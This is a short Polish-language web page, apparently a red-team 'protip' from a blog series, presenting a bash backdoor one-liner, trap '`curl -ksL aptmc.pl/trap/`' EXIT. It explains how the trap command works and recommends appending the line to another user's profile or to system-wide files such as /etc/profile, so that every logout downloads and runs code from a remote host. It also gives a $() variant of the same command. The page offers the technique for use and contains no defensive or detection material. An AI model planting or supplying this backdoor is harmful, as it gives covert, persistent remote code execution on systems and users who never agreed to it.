alphasec
Bash / Unix protip 004e
in 𝕏

trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala

tty1 · bash
$ trap '`curl -ksL aptmc.pl/trap/`' EXIT
#Linux#Unix#MacOS#Bash#RedTeam#Backdoor

Polecenie trap pozwala bashowi przechwycić sygnały (np. SIGUSR, SIGINT, SIGTERM ( trap -l wyświetli ich listę)) i uruchomić odpowiedni kod, kiedy wystąpią. Zamiast sygnałów, trap obsługuje jeszcze 3 inne zdarzenia:

  • EXIT - zakończenie skryptu/sesji,
  • ERR - polecenie zakończyło się błędem (zwróciło wartość różną od 0),
  • DEBUG - zdarzenie wywoływane przed uruchomieniem każdego polecenia.

W naszym wypadku przypisaliśmy akcję do zdarzenia EXIT, ale dwie pozostałe są również bardzo ciekawe.

Wystarczy dopisać komuś ten oneliner do pliku profilowego, lub najlepiej do pliku profilowego czytanego przez wszystkich użytkowników (np. /etc/profile, /etc/bashrc czy jeden z plików w katalogu /etc/profile.d/) i za każdym razem, kiedy użytkownik zakończy swoją sesję basha, zostanie wykonane polecenie `curl -ksL aptmc.pl/trap/` - czyli zostanie uruchomiony kod znajdujący się na stronie aptmc.pl/trap/.

Zamiast backticków (``) powodujących uruchomienie polecenia zwróconego przez polecenie znajdujące się wewnątrz, możemy wykorzystać tożsamą konstrukcję z $() czyli: $(curl -ksL aptmc.pl/trap/).

trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala
← poprzedni protip 004d ••• Wszystkie protipy następny → protip 004f
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: